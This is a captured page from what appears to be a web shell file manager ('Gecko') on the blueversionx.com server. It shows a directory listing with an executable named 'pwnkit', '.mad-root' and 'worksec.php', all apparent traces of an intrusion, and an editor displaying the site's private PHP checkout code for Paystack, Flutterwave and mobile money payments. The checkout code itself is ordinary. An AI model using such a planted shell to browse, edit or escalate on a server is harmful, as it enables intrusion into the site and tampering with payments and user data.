Gecko [ blueversionx.com ]

Name	Size	Permission
.mad-root	0 B	-rw-r--r--
adminer.php	0 B	-rw-r--r--
callback.php	1.7 KB	-rw----r--
checkout.php	4.27 KB	-rw----r--
pwnkit	0 B	-rwxr-xr-x
worksec.php	1.06 KB	-rw-r--r--

Code Editor : checkout.php

<?php
require dirname(__DIR__).'/includes/bootstrap.php';require_login();$u=current_user();$plan=$_GET['plan']??$_POST['plan']??'plus';$prices=['student'=>2000,'plus'=>5000,'researcher'=>10000];if(!isset($prices[$plan]))$plan='plus';$error='';
if($_SERVER['REQUEST_METHOD']==='POST'){check_csrf();$provider=$_POST['provider']??'';$ref='BVX-'.strtoupper(bin2hex(random_bytes(6)));$amount=$prices[$plan];$callback=$config['app_url'].'/payment/callback.php?provider='.urlencode($provider).'&reference='.urlencode($ref);$url='';try{
 if($provider==='paystack'){if(empty($config['paystack']['secret_key']))throw new Exception('Paystack is not configured.');$payload=['email'=>$u['email'],'amount'=>$amount*100,'currency'=>'XOF','reference'=>$ref,'callback_url'=>$callback,'metadata'=>['plan'=>$plan,'user_id'=>$u['id']]];$endpoint='https://api.paystack.co/transaction/initialize';$header='Authorization: Bearer '.$config['paystack']['secret_key'];}
 elseif($provider==='flutterwave'){if(empty($config['flutterwave']['secret_key']))throw new Exception('Flutterwave is not configured.');$payload=['tx_ref'=>$ref,'amount'=>$amount,'currency'=>'XOF','redirect_url'=>$callback,'customer'=>['email'=>$u['email'],'name'=>$u['name']??'BlueversionX user'],'customizations'=>['title'=>'blueversionX '.$plan.' plan']];$endpoint='https://api.flutterwave.com/v3/payments';$header='Authorization: Bearer '.$config['flutterwave']['secret_key'];}
 elseif($provider==='mobile_money'){if(empty($config['paygate']['url'])||empty($config['paygate']['key']))throw new Exception('Mobile Money is not configured.');$payload=['auth_token'=>$config['paygate']['key'],'phone_number'=>trim($_POST['phone']??''),'amount'=>$amount,'description'=>'blueversionX '.$plan,'identifier'=>$ref,'network'=>$_POST['network']??''];$endpoint=$config['paygate']['url'];$header='Content-Type: application/json';}
 else throw new Exception('Choose a payment provider.');
 $pdo->prepare('INSERT INTO payments(id,user_id,provider,reference,amount,currency,plan,status) VALUES(?,?,?,?,?,?,?,?)')->execute([bin2hex(random_bytes(16)),$u['id'],$provider,$ref,$amount,'XOF',$plan,'pending']);
 $ch=curl_init($endpoint);curl_setopt_array($ch,[CURLOPT_POST=>true,CURLOPT_RETURNTRANSFER=>true,CURLOPT_HTTPHEADER=>[$header,'Content-Type: application/json'],CURLOPT_POSTFIELDS=>json_encode($payload),CURLOPT_TIMEOUT=>30]);$raw=curl_exec($ch);$status=curl_getinfo($ch,CURLINFO_HTTP_CODE);$data=json_decode($raw?:'{}',true);if($status>=400)throw new Exception('The payment provider rejected the request.');
 if($provider==='paystack')$url=$data['data']['authorization_url']??'';elseif($provider==='flutterwave')$url=$data['data']['link']??'';else $url=$data['payment_url']??$data['url']??'';
 if($url){header('Location: '.$url);exit;}$error=$provider==='mobile_money'?'Mobile Money request sent. Confirm it on your phone.':'Payment could not be started.';
 }catch(Throwable $e){$error=$e->getMessage();}}
?><!doctype html><html><head><meta charset="utf-8"><meta name="viewport" content="width=device-width"><title>Checkout · blueversionX</title><link rel="icon" href="../favicon.svg"><link rel="stylesheet" href="../assets/style.css"></head><body><div class="authShell"><main class="authCard checkoutCard"><img class="logo" src="../assets/blueversionx-logo.svg" alt="blueversionX"><small>SECURE CHECKOUT</small><h1><?=htmlspecialchars(ucfirst($plan))?> plan</h1><h2><?=number_format($prices[$plan])?> CFA</h2><?php if($error):?><p class="error"><?=htmlspecialchars($error)?></p><?php endif?><form method="post"><input type="hidden" name="csrf" value="<?=csrf_token()?>"><input type="hidden" name="plan" value="<?=htmlspecialchars($plan)?>"><div class="methods"><button name="provider" value="paystack"><i>→</i><span>Paystack<small>Card and supported methods</small></span></button><button name="provider" value="flutterwave"><i>→</i><span>Flutterwave<small>Card and Mobile Money</small></span></button></div><label>Mobile Money number<input name="phone" placeholder="+228 …"></label><label>Network<select name="network"><option value="tmoney">Mixx by Yas</option><option value="flooz">Flooz</option></select></label><button name="provider" value="mobile_money">Pay with Mobile Money</button></form><div class="authLinks"><a href="../plans.php">Cancel</a><a href="../account.php">Your account</a></div></main></div></body></html>

${this.title}

Code Editor : checkout.php